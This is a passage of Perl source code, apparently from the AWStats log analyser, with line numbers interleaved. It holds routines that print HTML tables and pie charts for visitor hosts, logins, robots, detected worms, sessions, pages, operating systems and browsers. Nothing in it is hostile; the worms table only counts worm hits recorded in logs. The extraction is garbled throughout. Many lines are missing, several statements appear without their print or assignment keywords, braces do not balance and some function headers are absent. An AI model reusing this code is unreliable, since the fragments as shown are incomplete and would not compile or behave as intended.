: "$StaticLinks.lasthosts.$StaticExt"
14468
. "\"$NewLinkTarget>$Message[9]</a> - <a href=\""
14470
$ENV{'GATEWAY_INTERFACE'}
14472
? XMLEncode("$AWScript${NewLinkParams}output=unknownip")
14473
: "$StaticLinks.unknownip.$StaticExt"
14475
. "\"$NewLinkTarget>$Message[45]</a>";
14476
&tab_head( "$title", 19, 0, 'visitors' );
14478
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
14481
# Graph the top five in a pie chart
14482
if (scalar @keylist > 1){
14483
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
14485
my @blocklabel = ();
14487
my @valcolor = ($color_p);
14489
foreach my $key (@keylist) {
14490
push @valdata, int( $_host_h{$key} / $TotalHits * 1000 ) / 10;
14491
push @blocklabel, "$key";
14493
if ($cnt > 4) { last; }
14495
print "<tr><td colspan=\"7\">";
14496
my $function = "ShowGraph_$pluginname";
14504
print "</td></tr>";
14508
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
14510
if ( $MonthRequired ne 'all' ) {
14512
"$Message[81] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1]<br />".Format_Number($TotalUnique)." $Message[11]</th>";
14515
print "$Message[81] : " . ( scalar keys %_host_h ) . "</th>";
14517
&HTMLShowHostInfo('__title__');
14518
if ( $ShowHostsStats =~ /P/i ) {
14519
print "<th bgcolor=\"#$color_p\" width=\"80\""
14521
. ">$Message[56]</th>";
14523
if ( $ShowHostsStats =~ /H/i ) {
14524
print "<th bgcolor=\"#$color_h\" width=\"80\""
14526
. ">$Message[57]</th>";
14528
if ( $ShowHostsStats =~ /B/i ) {
14529
print "<th bgcolor=\"#$color_k\" width=\"80\""
14531
. ">$Message[75]</th>";
14533
if ( $ShowHostsStats =~ /L/i ) {
14534
print "<th width=\"120\">$Message[9]</th>";
14537
my $total_p = my $total_h = my $total_k = 0;
14540
foreach my $key (@keylist) {
14542
print "<td class=\"aws\">$key</td>";
14543
&HTMLShowHostInfo($key);
14544
if ( $ShowHostsStats =~ /P/i ) {
14545
print '<td>' . ( Format_Number($_host_p{$key}) || " " ) . '</td>';
14547
if ( $ShowHostsStats =~ /H/i ) {
14548
print "<td>".Format_Number($_host_h{$key})."</td>";
14550
if ( $ShowHostsStats =~ /B/i ) {
14551
print '<td>' . Format_Bytes( $_host_k{$key} ) . '</td>';
14553
if ( $ShowHostsStats =~ /L/i ) {
14554
print '<td nowrap="nowrap">'
14557
? Format_Date( $_host_l{$key}, 1 )
14563
$total_p += $_host_p{$key};
14564
$total_h += $_host_h{$key};
14565
$total_k += $_host_k{$key} || 0;
14568
my $rest_p = $TotalPages - $total_p;
14569
my $rest_h = $TotalHits - $total_h;
14570
my $rest_k = $TotalBytes - $total_k;
14571
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14572
{ # All other visitors (known or not)
14575
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14576
&HTMLShowHostInfo('');
14577
if ( $ShowHostsStats =~ /P/i ) { print "<td>".Format_Number($rest_p)."</td>"; }
14578
if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
14579
if ( $ShowHostsStats =~ /B/i ) {
14580
print "<td>" . Format_Bytes($rest_k) . "</td>";
14582
if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; }
14588
#------------------------------------------------------------------------------
14589
# Function: Prints the logins chart and table
14590
# Parameters: $NewLinkParams, $NewLinkTarget
14594
#------------------------------------------------------------------------------
14595
sub HTMLMainLogins{
14596
my $NewLinkParams = shift;
14597
my $NewLinkTarget = shift;
14599
if ($Debug) { debug( "ShowAuthenticatedUsers", 2 ); }
14600
print "$Center<a name=\"logins\"> </a><br />\n";
14602
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\""
14604
$ENV{'GATEWAY_INTERFACE'}
14606
? XMLEncode("$AWScript${NewLinkParams}output=alllogins")
14607
: "$StaticLinks.alllogins.$StaticExt"
14609
. "\"$NewLinkTarget>$Message[80]</a>";
14610
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14611
$title .= " - <a href=\""
14613
$ENV{'GATEWAY_INTERFACE'}
14615
? XMLEncode("$AWScript${NewLinkParams}output=lastlogins")
14616
: "$StaticLinks.lastlogins.$StaticExt"
14618
. "\"$NewLinkTarget>$Message[9]</a>";
14620
&tab_head( "$title", 19, 0, 'logins' );
14621
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
14622
. Format_Number(( scalar keys %_login_h )) . "</th>";
14623
&HTMLShowUserInfo('__title__');
14624
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14625
print "<th bgcolor=\"#$color_p\" width=\"80\""
14627
. ">$Message[56]</th>";
14629
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14630
print "<th bgcolor=\"#$color_h\" width=\"80\""
14632
. ">$Message[57]</th>";
14634
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14635
print "<th bgcolor=\"#$color_k\" width=\"80\""
14637
. ">$Message[75]</th>";
14639
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14640
print "<th width=\"120\">$Message[9]</th>";
14643
my $total_p = my $total_h = my $total_k = 0;
14645
foreach ( values %_login_h ) {
14646
if ( $_ > $max_h ) { $max_h = $_; }
14649
foreach ( values %_login_k ) {
14650
if ( $_ > $max_k ) { $max_k = $_; }
14653
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
14655
foreach my $key (@keylist) {
14659
if ( $max_h > 0 ) {
14660
$bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
14661
} # use max_h to enable to compare pages with hits
14662
if ( $max_h > 0 ) {
14663
$bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
14665
if ( $max_k > 0 ) {
14666
$bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
14668
print "<tr><td class=\"aws\">$key</td>";
14669
&HTMLShowUserInfo($key);
14670
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14672
. ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " )
14675
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14676
print "<td>".Format_Number($_login_h{$key})."</td>";
14678
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14679
print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
14681
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14685
? Format_Date( $_login_l{$key}, 1 )
14691
$total_p += $_login_p{$key};
14692
$total_h += $_login_h{$key};
14693
$total_k += $_login_k{$key};
14696
my $rest_p = $TotalPages - $total_p;
14697
my $rest_h = $TotalHits - $total_h;
14698
my $rest_k = $TotalBytes - $total_k;
14699
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
14700
{ # All other logins
14702
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
14703
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
14705
. ( $PageDir eq 'rtl' ? "</span>" : "" )
14707
&HTMLShowUserInfo('');
14708
if ( $ShowAuthenticatedUsers =~ /P/i ) {
14709
print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>";
14711
if ( $ShowAuthenticatedUsers =~ /H/i ) {
14712
print "<td>".Format_Number($rest_h)."</td>";
14714
if ( $ShowAuthenticatedUsers =~ /B/i ) {
14715
print "<td>" . Format_Bytes($rest_k) . "</td>";
14717
if ( $ShowAuthenticatedUsers =~ /L/i ) {
14718
print "<td> </td>";
14725
#------------------------------------------------------------------------------
14726
# Function: Prints the robots chart and table
14727
# Parameters: $NewLinkParams, $NewLinkTarget
14731
#------------------------------------------------------------------------------
14732
sub HTMLMainRobots{
14733
my $NewLinkParams = shift;
14734
my $NewLinkTarget = shift;
14736
if ($Debug) { debug( "ShowRobotStats", 2 ); }
14737
print "$Center<a name=\"robots\"> </a><br />\n";
14739
"$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\""
14741
$ENV{'GATEWAY_INTERFACE'}
14743
? XMLEncode("$AWScript${NewLinkParams}output=allrobots")
14744
: "$StaticLinks.allrobots.$StaticExt"
14746
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
14748
$ENV{'GATEWAY_INTERFACE'}
14750
? XMLEncode("$AWScript${NewLinkParams}output=lastrobots")
14751
: "$StaticLinks.lastrobots.$StaticExt"
14753
. "\"$NewLinkTarget>$Message[9]</a>",
14756
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
14757
. Tooltip(16) . "><th>"
14758
. Format_Number(( scalar keys %_robot_h ))
14759
. " $Message[51]*</th>";
14760
if ( $ShowRobotsStats =~ /H/i ) {
14762
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14764
if ( $ShowRobotsStats =~ /B/i ) {
14766
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14768
if ( $ShowRobotsStats =~ /L/i ) {
14769
print "<th width=\"120\">$Message[9]</th>";
14772
my $total_p = my $total_h = my $total_k = my $total_r = 0;
14774
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
14776
foreach my $key (@keylist) {
14777
print "<tr><td class=\"aws\">"
14778
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
14779
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
14780
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
14781
if ( $ShowRobotsStats =~ /H/i ) {
14783
. Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
14784
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
14786
if ( $ShowRobotsStats =~ /B/i ) {
14787
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
14789
if ( $ShowRobotsStats =~ /L/i ) {
14793
? Format_Date( $_robot_l{$key}, 1 )
14800
#$total_p += $_robot_p{$key};
14801
$total_h += $_robot_h{$key};
14802
$total_k += $_robot_k{$key} || 0;
14803
$total_r += $_robot_r{$key} || 0;
14807
# For bots we need to count Totals
14808
my $TotalPagesRobots =
14809
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
14810
my $TotalHitsRobots = 0;
14811
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
14812
my $TotalBytesRobots = 0;
14813
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
14814
my $TotalRRobots = 0;
14815
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
14816
my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
14817
my $rest_h = $TotalHitsRobots - $total_h;
14818
my $rest_k = $TotalBytesRobots - $total_k;
14819
my $rest_r = $TotalRRobots - $total_r;
14821
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
14822
{ # All other robots
14824
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14825
if ( $ShowRobotsStats =~ /H/i ) {
14827
. Format_Number(( $rest_h - $rest_r ))
14828
. ( $rest_r ? "+$rest_r" : "" ) . "</td>";
14830
if ( $ShowRobotsStats =~ /B/i ) {
14831
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
14833
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
14837
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
14840
#------------------------------------------------------------------------------
14841
# Function: Prints the worms chart and table
14846
#------------------------------------------------------------------------------
14848
if ($Debug) { debug( "ShowWormsStats", 2 ); }
14849
print "$Center<a name=\"worms\"> </a><br />\n";
14850
&tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
14852
print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
14853
print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>";
14854
print "<th>$Message[167]</th>";
14855
if ( $ShowWormsStats =~ /H/i ) {
14857
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
14859
if ( $ShowWormsStats =~ /B/i ) {
14861
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
14863
if ( $ShowWormsStats =~ /L/i ) {
14864
print "<th width=\"120\">$Message[9]</th>";
14867
my $total_p = my $total_h = my $total_k = 0;
14869
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
14871
foreach my $key (@keylist) {
14873
print "<td class=\"aws\">"
14874
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
14875
. ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
14876
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
14877
print "<td class=\"aws\">"
14878
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
14879
. ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
14880
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
14881
if ( $ShowWormsStats =~ /H/i ) {
14882
print "<td>" . Format_Number($_worm_h{$key}) . "</td>";
14884
if ( $ShowWormsStats =~ /B/i ) {
14885
print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
14887
if ( $ShowWormsStats =~ /L/i ) {
14891
? Format_Date( $_worm_l{$key}, 1 )
14898
#$total_p += $_worm_p{$key};
14899
$total_h += $_worm_h{$key};
14900
$total_k += $_worm_k{$key} || 0;
14904
# For worms we need to count Totals
14905
my $TotalPagesWorms =
14906
0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
14907
my $TotalHitsWorms = 0;
14908
foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
14909
my $TotalBytesWorms = 0;
14910
foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
14911
my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
14912
my $rest_h = $TotalHitsWorms - $total_h;
14913
my $rest_k = $TotalBytesWorms - $total_k;
14915
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
14918
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
14919
print "<td class=\"aws\">-</td>";
14920
if ( $ShowWormsStats =~ /H/i ) {
14921
print "<td>" . Format_Number(($rest_h)) . "</td>";
14923
if ( $ShowWormsStats =~ /B/i ) {
14924
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
14926
if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; }
14929
&tab_end("* $Message[158]");
14932
#------------------------------------------------------------------------------
14933
# Function: Prints the sessions chart and table
14938
#------------------------------------------------------------------------------
14939
sub HTMLMainSessions{
14940
if ($Debug) { debug( "ShowSessionsStats", 2 ); }
14941
print "$Center<a name=\"sessions\"> </a><br />\n";
14942
my $title = "$Message[117]";
14943
&tab_head( $title, 19, 0, 'sessions' );
14946
foreach (@SessionsRange) {
14947
$average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
14948
$Totals += $_session{$_} || 0;
14950
if ($Totals) { $average_s = int( $average_s / $Totals ); }
14951
else { $average_s = '?'; }
14952
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
14954
. "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
14958
foreach my $key (@SessionsRange) {
14960
if ($TotalVisits) {
14961
$p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
14963
$total_s += $_session{$key} || 0;
14964
print "<tr><td class=\"aws\">$key</td>";
14966
. ( $_session{$key} ? Format_Number($_session{$key}) : " " ) . "</td>";
14968
. ( $_session{$key} ? "$p %" : " " ) . "</td>";
14972
my $rest_s = $TotalVisits - $total_s;
14973
if ( $rest_s > 0 ) { # All others sessions
14975
if ($TotalVisits) {
14976
$p = int( $rest_s / $TotalVisits * 1000 ) / 10;
14980
. "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
14981
print "<td>".Format_Number($rest_s)."</td>";
14982
print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>";
14988
#------------------------------------------------------------------------------
14989
# Function: Prints the pages chart and table
14990
# Parameters: $NewLinkParams, $NewLinkTarget
14994
#------------------------------------------------------------------------------
14996
my $NewLinkParams = shift;
14997
my $NewLinkTarget = shift;
15001
"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
15005
my $regext = qr/\.(\w{1,6})$/;
15007
"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n";
15009
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\""
15011
$ENV{'GATEWAY_INTERFACE'}
15013
? XMLEncode("$AWScript${NewLinkParams}output=urldetail")
15014
: "$StaticLinks.urldetail.$StaticExt"
15016
. "\"$NewLinkTarget>$Message[80]</a>";
15017
if ( $ShowPagesStats =~ /E/i ) {
15018
$title .= " - <a href=\""
15020
$ENV{'GATEWAY_INTERFACE'}
15022
? XMLEncode("$AWScript${NewLinkParams}output=urlentry")
15023
: "$StaticLinks.urlentry.$StaticExt"
15025
. "\"$NewLinkTarget>$Message[104]</a>";
15027
if ( $ShowPagesStats =~ /X/i ) {
15028
$title .= " - <a href=\""
15030
$ENV{'GATEWAY_INTERFACE'}
15032
? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
15033
: "$StaticLinks.urlexit.$StaticExt"
15035
. "\"$NewLinkTarget>$Message[116]</a>";
15037
&tab_head( "$title", 19, 0, 'urls' );
15039
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>";
15040
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15042
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
15044
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15046
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15048
if ( $ShowPagesStats =~ /B/i ) {
15050
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
15052
if ( $ShowPagesStats =~ /E/i ) {
15054
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
15056
if ( $ShowPagesStats =~ /X/i ) {
15058
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
15061
# Call to plugins' function ShowPagesAddField
15063
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15066
# my $function="ShowPagesAddField_$pluginname('title')";
15067
# eval("$function");
15068
my $function = "ShowPagesAddField_$pluginname";
15069
&$function('title');
15071
print "<th> </th></tr>\n";
15072
my $total_p = my $total_e = my $total_x = my $total_k = 0;
15076
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
15078
foreach my $key (@keylist) {
15079
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
15080
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
15081
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
15084
foreach my $key (@keylist) {
15085
print "<tr><td class=\"aws\">";
15086
&HTMLShowURLInfo($key);
15092
if ( $max_p > 0 ) {
15094
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
15096
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
15097
if ( $max_p > 0 ) {
15099
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
15101
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
15102
if ( $max_p > 0 ) {
15104
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
15106
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
15107
if ( $max_k > 0 ) {
15110
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
15113
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
15114
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15115
print "<td>".Format_Number($_url_p{$key})."</td>";
15117
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15118
print "<td>".Format_Number($_url_p{$key})."</td>";
15120
if ( $ShowPagesStats =~ /B/i ) {
15125
$_url_k{$key} / ( $_url_p{$key} || 1 )
15131
if ( $ShowPagesStats =~ /E/i ) {
15133
. ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>";
15135
if ( $ShowPagesStats =~ /X/i ) {
15137
. ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>";
15140
# Call to plugins' function ShowPagesAddField
15141
foreach my $pluginname (
15142
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15145
# my $function="ShowPagesAddField_$pluginname('$key')";
15146
# eval("$function");
15147
my $function = "ShowPagesAddField_$pluginname";
15150
print "<td class=\"aws\">";
15151
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15153
"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
15157
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15159
"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
15163
if ( $ShowPagesStats =~ /B/i ) {
15165
"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
15169
if ( $ShowPagesStats =~ /E/i ) {
15171
"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
15175
if ( $ShowPagesStats =~ /X/i ) {
15177
"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
15178
. AltTitle("") . " />";
15180
print "</td></tr>\n";
15181
$total_p += $_url_p{$key} || 0;
15182
$total_e += $_url_e{$key} || 0;
15183
$total_x += $_url_x{$key} || 0;
15184
$total_k += $_url_k{$key} || 0;
15187
my $rest_p = $TotalPages - $total_p;
15188
my $rest_e = $TotalEntries - $total_e;
15189
my $rest_x = $TotalExits - $total_x;
15190
my $rest_k = $TotalBytesPages - $total_k;
15191
if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
15194
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15195
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15196
print "<td>".Format_Number($rest_p)."</td>";
15198
if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15199
print "<td>".Format_Number($rest_p)."</td>";
15201
if ( $ShowPagesStats =~ /B/i ) {
15205
? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
15210
if ( $ShowPagesStats =~ /E/i ) {
15211
print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>";
15213
if ( $ShowPagesStats =~ /X/i ) {
15214
print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>";
15217
# Call to plugins' function ShowPagesAddField
15218
foreach my $pluginname (
15219
keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15222
# my $function="ShowPagesAddField_$pluginname('')";
15223
# eval("$function");
15224
my $function = "ShowPagesAddField_$pluginname";
15227
print "<td> </td></tr>\n";
15232
#------------------------------------------------------------------------------
15233
# Function: Prints the OS chart and table
15234
# Parameters: $NewLinkParams, $NewLinkTarget
15238
#------------------------------------------------------------------------------
15240
my $NewLinkParams = shift;
15241
my $NewLinkTarget = shift;
15243
if ($Debug) { debug( "ShowOSStats", 2 ); }
15244
print "$Center<a name=\"os\"> </a><br />\n";
15247
OSLOOP: foreach my $key ( keys %_os_h ) {
15248
$Totalh += $_os_h{$key};
15249
foreach my $family ( keys %OSFamily ) {
15250
if ( $key =~ /^$family/i ) {
15251
$new_os_h{"${family}cumul"} += $_os_h{$key};
15255
$new_os_h{$key} += $_os_h{$key};
15258
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\""
15260
$ENV{'GATEWAY_INTERFACE'}
15262
? XMLEncode("$AWScript${NewLinkParams}output=osdetail")
15263
: "$StaticLinks.osdetail.$StaticExt"
15265
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
15267
$ENV{'GATEWAY_INTERFACE'}
15269
? XMLEncode("$AWScript${NewLinkParams}output=unknownos")
15270
: "$StaticLinks.unknownos.$StaticExt"
15272
. "\"$NewLinkTarget>$Message[0]</a>";
15273
&tab_head( "$title", 19, 0, 'os' );
15275
&BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
15278
# Graph the top five in a pie chart
15279
if (scalar @keylist > 1){
15280
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
15282
my @blocklabel = ();
15284
my @valcolor = ($color_p);
15286
foreach my $key (@keylist) {
15287
push @valdata, int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
15288
if ($key eq 'Unknown'){push @blocklabel, "$key"; }
15290
my $keywithoutcumul = $key;
15291
$keywithoutcumul =~ s/cumul$//i;
15292
my $libos = $OSHashLib{$keywithoutcumul}
15293
|| $keywithoutcumul;
15294
my $nameicon = $keywithoutcumul;
15295
$nameicon =~ s/[^\w]//g;
15296
if ( $OSFamily{$keywithoutcumul} ) {
15297
$libos = $OSFamily{$keywithoutcumul};
15299
push @blocklabel, "$libos";
15302
if ($cnt > 4) { last; }
15304
print "<tr><td colspan=\"5\">";
15305
my $function = "ShowGraph_$pluginname";
15307
"Top 5 Operating Systems", "oss",
15313
print "</td></tr>";
15318
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
15322
foreach my $key (@keylist) {
15325
$p = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
15328
if ( $key eq 'Unknown' ) {
15330
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15331
. "><img src=\"$DirIcons\/os\/unknown.png\""
15333
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td>".Format_Number($_os_h{$key})."</td><td>$p</td></tr>\n";
15336
my $keywithoutcumul = $key;
15337
$keywithoutcumul =~ s/cumul$//i;
15338
my $libos = $OSHashLib{$keywithoutcumul}
15339
|| $keywithoutcumul;
15340
my $nameicon = $keywithoutcumul;
15341
$nameicon =~ s/[^\w]//g;
15342
if ( $OSFamily{$keywithoutcumul} ) {
15343
$libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
15346
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15347
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
15349
. " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_h{$key})."</td><td>$p</td></tr>\n";
15351
$total_h += $new_os_h{$key};
15355
debug( "Total real / shown : $Totalh / $total_h", 2 );
15357
my $rest_h = $Totalh - $total_h;
15358
if ( $rest_h > 0 ) {
15360
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
15362
print "<td> </td>";
15364
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_h)."</td>";
15365
print "<td>$p %</td></tr>\n";
15370
#------------------------------------------------------------------------------
15371
# Function: Prints the Browsers chart and table
15372
# Parameters: $NewLinkParams, $NewLinkTarget
15376
#------------------------------------------------------------------------------
15377
sub HTMLMainBrowsers{
15378
my $NewLinkParams = shift;
15379
my $NewLinkTarget = shift;
15381
if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
15382
print "$Center<a name=\"browsers\"> </a><br />\n";
15384
my %new_browser_h = ();
15385
BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
15386
$Totalh += $_browser_h{$key};
15387
foreach my $family ( keys %BrowsersFamily ) {
15388
if ( $key =~ /^$family/i ) {
15389
$new_browser_h{"${family}cumul"} += $_browser_h{$key};
15393
$new_browser_h{$key} += $_browser_h{$key};
15396
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\""
15398
$ENV{'GATEWAY_INTERFACE'}
15400
? XMLEncode("$AWScript${NewLinkParams}output=browserdetail")
15401
: "$StaticLinks.browserdetail.$StaticExt"
15403
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
15405
$ENV{'GATEWAY_INTERFACE'}
15407
? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser")
15408
: "$StaticLinks.unknownbrowser.$StaticExt"
15410
. "\"$NewLinkTarget>$Message[0]</a>";
15411
&tab_head( "$title", 19, 0, 'browsers' );
15414
$MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
15415
\%new_browser_h, \%new_browser_h
15418
# Graph the top five in a pie chart
15419
if (scalar @keylist > 1){
15420
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
15422
my @blocklabel = ();
15424
my @valcolor = ($color_p);
15426
foreach my $key (@keylist) {
15427
push @valdata, int( $new_browser_h{$key} / $TotalHits * 1000 ) / 10;
15428
if ($key eq 'Unknown'){push @blocklabel, "$key"; }
15430
my $keywithoutcumul = $key;
15431
$keywithoutcumul =~ s/cumul$//i;
15432
